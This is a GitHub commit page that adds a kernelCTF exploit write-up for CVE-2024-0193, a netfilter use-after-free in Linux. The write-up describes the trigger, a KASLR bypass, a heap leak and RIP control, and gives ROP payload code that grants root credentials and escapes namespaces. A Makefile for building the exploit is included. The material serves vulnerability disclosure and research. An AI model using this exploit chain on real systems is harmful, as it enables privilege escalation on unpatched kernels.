Skip to content

Commit

Permalink
Add kernelCTF CVE-2024-0193_lts (#102)
Browse files Browse the repository at this point in the history
* Add kernelCTF CVE-2024-0193_lts

* update exploit.md and exploit.c

* Update exploit.c
  • Loading branch information
kevinrich1337 authored Jun 27, 2024
1 parent b0cd094 commit a571ac2
Show file tree
Hide file tree
Showing 8 changed files with 1,518 additions and 0 deletions.
299 changes: 299 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-0193_lts/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,299 @@
### Triggering Vulnerability

If the catchall element is gc'd when the pipapo set is removed, the element can be deactivated twice.

When a set is deleted, the `nft_map_deactivate` is called to deactivate the data of the set elements [1].

```c
static int nft_delset(const struct nft_ctx *ctx, struct nft_set *set)
{
int err;

err = nft_trans_set_add(ctx, NFT_MSG_DELSET, set);
if (err < 0)
return err;

if (set->flags & (NFT_SET_MAP | NFT_SET_OBJECT))
nft_map_deactivate(ctx, set); // [1]

nft_deactivate_next(ctx->net, set);
nft_use_dec(&ctx->table->use);

return err;
}
```
Then `nft_set_commit_update` is called in the `nf_tables_commit` and the pipapo set's commit function is called [2].
```c
static void nft_set_commit_update(struct list_head *set_update_list)
{
struct nft_set *set, *next;
list_for_each_entry_safe(set, next, set_update_list, pending_update) {
list_del_init(&set->pending_update);
if (!set->ops->commit)
continue;
set->ops->commit(set); // [2]
}
}
```

In the `nft_pipapo_commit`, `nft_trans_gc_catchall_sync` is called and `nft_setelem_data_deactivate` is called for expired elements [3].

```c
struct nft_trans_gc *nft_trans_gc_catchall_sync(struct nft_trans_gc *gc)
{
struct nft_set_elem_catchall *catchall, *next;
const struct nft_set *set = gc->set;
struct nft_set_elem elem;
struct nft_set_ext *ext;

WARN_ON_ONCE(!lockdep_commit_lock_is_held(gc->net));

list_for_each_entry_safe(catchall, next, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);

if (!nft_set_elem_expired(ext))
continue;

gc = nft_trans_gc_queue_sync(gc, GFP_KERNEL);
if (!gc)
return NULL;

memset(&elem, 0, sizeof(elem));
elem.priv = catchall->elem;

nft_setelem_data_deactivate(gc->net, gc->set, &elem); // [3]
nft_setelem_catchall_destroy(catchall);
nft_trans_gc_elem_add(gc, elem.priv);
}

return gc;
}
```
This element is deactivated by calling the `nft_map_deactivate` in the `nft_delset` [1], so the data deactivation is done twice.
We can trigger the vulnerability as follows:
- Create a chain `Victim`.
- Create a pipapo set `Vulnerable`.
- Create a set element in `Vulnerable` with a verdict data referencing `Victim`. We set the timeout of element to 1.
- Create some rules to make the delay.
- Delete `Vulnerable`. This results in the `Victim` having a reference count of -1.
### KASLR Bypass
The KASLR address is leaked through `chain->name`, which is stored in the verdict data of the immediate expr (`nft_immediate_expr.data.verdict`). The leak process is as follows:
- Create two chains, `Base` and `Victim`. Make the `Victim`'s name 9-16 bytes long so that it can be allocated into `kmalloc-cg-16`.
- Create an immediate expr in `Base` that references to the `Victim`.
- Create a pipapo set `Vulnerable`.
- Create a set element in `Vulnerable` with a verdict data referencing `Victim`.
- Trigger the vulnerability by deleting the `Vulnerable`. This results in the `Victim` having a reference count of 0.
- Destroy the `Victim`.
- Spray counter exprs (`struct nft_expr`) to place it at `Victim`'s `chain->name`. At this time, the size of counter expr (`struct nft_expr`) is 16 bytes, so the counter exprs are allocated in the `kmalloc-cg-16`.
- We dump the immediate expr of `Base` using `GETRULE` command, we can get the ops address of counter expr through the freed `chain->name` to get the kernel base address [4].
```c
int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v)
{
struct nlattr *nest;
nest = nla_nest_start_noflag(skb, type);
if (!nest)
goto nla_put_failure;
if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code)))
goto nla_put_failure;
switch (v->code) {
case NFT_JUMP:
case NFT_GOTO:
if (nla_put_string(skb, NFTA_VERDICT_CHAIN,
v->chain->name)) // [4]
goto nla_put_failure;
}
nla_nest_end(skb, nest);
return 0;
nla_put_failure:
return -1;
}
```

### Heap Address Leak

We leak the heap address in the same way as we leak the kernel base address. To leak the heap address, we sprayed the `nft_rule` instead of counter expr. We place `nft_rule` in freed `Victim`'s `nft_chain->name` and dump the rule of the `Base`. As a result, we can read the heap address stored in `nft_rule->list` through `Victim`'s `nft_chain->name`. We put the address of the `kmalloc-cg-96` object in `list->next` and the address of the `kmalloc-cg-192` object in `list->prev` by creating `nft_rules`. The size of the `nft_rule` can be adjusted by adding multiple `nft_exprs` inside the `nft_rule`. Since data of type string is used for leaking, we repeated the entire exploit until the heap address does not contain null.

### RIP Control

We use `nft_chain->blob_gen_0` to control the RIP. The `nft_chain->blob_gen_0` is used when evaluating packets in the `nft_do_chain` function [5].

```c
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
...
do_chain:
if (genbit)
blob = rcu_dereference(chain->blob_gen_1);
else
blob = rcu_dereference(chain->blob_gen_0); // [5]

rule = (struct nft_rule_dp *)blob->data;
last_rule = (void *)blob->data + blob->size;
next_rule:
regs.verdict.code = NFT_CONTINUE;
for (; rule < last_rule; rule = nft_rule_next(rule)) {
nft_rule_dp_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, &regs);
else if (expr->ops == &nft_cmp16_fast_ops)
nft_cmp16_fast_eval(expr, &regs);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, &regs);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, &regs, pkt))
expr_call_ops_eval(expr, &regs, pkt);

if (regs.verdict.code != NFT_CONTINUE)
break;
}
...
```
To do this, we assign `chain->blob_gen_0` to `kmalloc-cg-64` and trigger the vulnerability. `chain->blob_gen_0` is allocated in the `nf_tables_chain_alloc_rules` when creating new chain [5]. `chain->blob_gen_0` is allocated from the `nf_tables_chain_alloc_rules` when creating a new chain [6].
```c
static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
u8 policy, u32 flags,
struct netlink_ext_ack *extack)
{
...
data_size = offsetof(struct nft_rule_dp, data); /* last rule */
blob = nf_tables_chain_alloc_rules(data_size); // [6]
if (!blob) {
err = -ENOMEM;
goto err_destroy_chain;
}
```

The size used by `kvmalloc` [7] is 40, `offsetof(struct nft_rule_dp, data)` + `sizeof(struct nft_rule_blob)` + `sizeof(struct nft_rules_old)` (8 + 24 + 8), the `blob` object is allocated in `kmalloc-cg-64`.

```c
static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size)
{
struct nft_rule_blob *blob;

/* size must include room for the last rule */
if (size < offsetof(struct nft_rule_dp, data))
return NULL;

size += sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old);
if (size > INT_MAX)
return NULL;

blob = kvmalloc(size, GFP_KERNEL_ACCOUNT); // [7]
if (!blob)
return NULL;

blob->size = 0;
nft_last_rule(blob, blob->data);

return blob;
}
```
We then spray the `udata` of the `struct nft_table` and place it in freed `blob_gen_0`. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [8].
```c
static void expr_call_ops_eval(const struct nft_expr *expr,
struct nft_regs *regs,
struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
do { if ((e) == (unsigned long)(fun)) \
return fun(expr, regs, pkt); } while (0) // [8]
X(e, nft_payload_eval);
X(e, nft_cmp_eval);
X(e, nft_counter_eval);
X(e, nft_meta_get_eval);
X(e, nft_lookup_eval);
X(e, nft_range_eval);
X(e, nft_immediate_eval);
X(e, nft_byteorder_eval);
X(e, nft_dynset_eval);
X(e, nft_rt_get_eval);
X(e, nft_bitwise_eval);
#undef X
#endif /* CONFIG_RETPOLINE */
expr->ops->eval(expr, regs, pkt);
}
```

### Post RIP

Store the ROP payload below to the `kmalloc-cg-96` and `kmalloc-cg-192` addresses leaked above, and execute it. The ROP payload of `kmalloc-cg-192` is stored in `nft_rule->data` when the rule is created during the heap spraying. The ROP payload of `kmalloc-cg-96` is stored by spraying `nft_table->udata` after freeing the rule used in the heap spray.

```c
void make_payload(uint64_t* data){
int i = 0;

data[i++] = kbase + push_rbx_pop_rsp;

// commit_creds(&init_cred)
data[i++] = kbase + pop_rdi_ret;
data[i++] = kbase + init_cred_off;
data[i++] = kbase + commit_creds_off;

// current = find_task_by_vpid(getpid())
data[i++] = kbase + pop_rdi_ret;
data[i++] = getpid();
data[i++] = kbase + find_task_by_vpid_off;

// current += offsetof(struct task_struct, rcu_read_lock_nesting)
data[i++] = kbase + pop_rsi_ret;
data[i++] = 0x474;
data[i++] = kbase + add_rax_rsi_ret;

data[i++] = kbase + pop_rsp_ret;
data[i++] = heap_addr1+0x20;
}

void make_payload2(uint64_t* data){
int i = 0;

// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
data[i++] = kbase + pop_rcx_ret;
data[i++] = -0xffff;
data[i++] = kbase + mov_rax_rcx_ret;

// find_task_by_vpid(1)
data[i++] = kbase + pop_rdi_ret;
data[i++] = 1;
data[i++] = kbase + find_task_by_vpid_off;

// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + mov_rdi_rax_ret;
data[i++] = kbase + pop_rsi_ret;
data[i++] = kbase + init_nsproxy_off;
data[i++] = kbase + switch_task_namespaces_off;

// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off;
data[i++] = 0; // rax
data[i++] = 0; // rdx
data[i++] = _user_rip; // user_rip
data[i++] = _user_cs; // user_cs
data[i++] = _user_rflags; // user_rflags
data[i++] = _user_sp; // user_sp
data[i++] = _user_ss; // user_ss
}
```
12 changes: 12 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-0193_lts/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
- Requirements:
- Capabilites: CAP_NET_ADMIN
- Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y
- User namespaces required: Yes
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a5
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7315dc1e122c85ffdfc8defffbb8f8b616c2eb1a
- Affected Version: 6.5-rc6 - 6.7-rc8
- Affected Component: net/netfilter
- Syscall to disable: disallow unprivileged username space
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-0193
- Cause: Use-After-Free
- Description: A use-after-free flaw was found in the netfilter subsystem of the Linux kernel. If the catchall element is garbage-collected when the pipapo set is removed, the element can be deactivated twice. This can cause a use-after-free issue on an NFT_CHAIN object or NFT_OBJECT object, allowing a local unprivileged user with CAP_NET_ADMIN capability to escalate their privileges on the system.
39 changes: 39 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
LIBMNL_DIR = $(realpath ./)/libmnl_build
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build

LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl
INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include
CFLAGS = -static -s

exploit:
gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS)

prerequisites: libnftnl-build

libmnl-build : libmnl-download
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install`
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc`
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install

libnftnl-build : libmnl-build libnftnl-download
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install`
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc`
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install

libmnl-download :
mkdir $(LIBMNL_DIR)
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2

libnftnl-download :
mkdir $(LIBNFTNL_DIR)
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz

run:
./exploit

clean:
rm -f exploit
rm -rf $(LIBMNL_DIR)
rm -rf $(LIBNFTNL_DIR)
Binary file not shown.
Loading

0 comments on commit a571ac2

Please sign in to comment.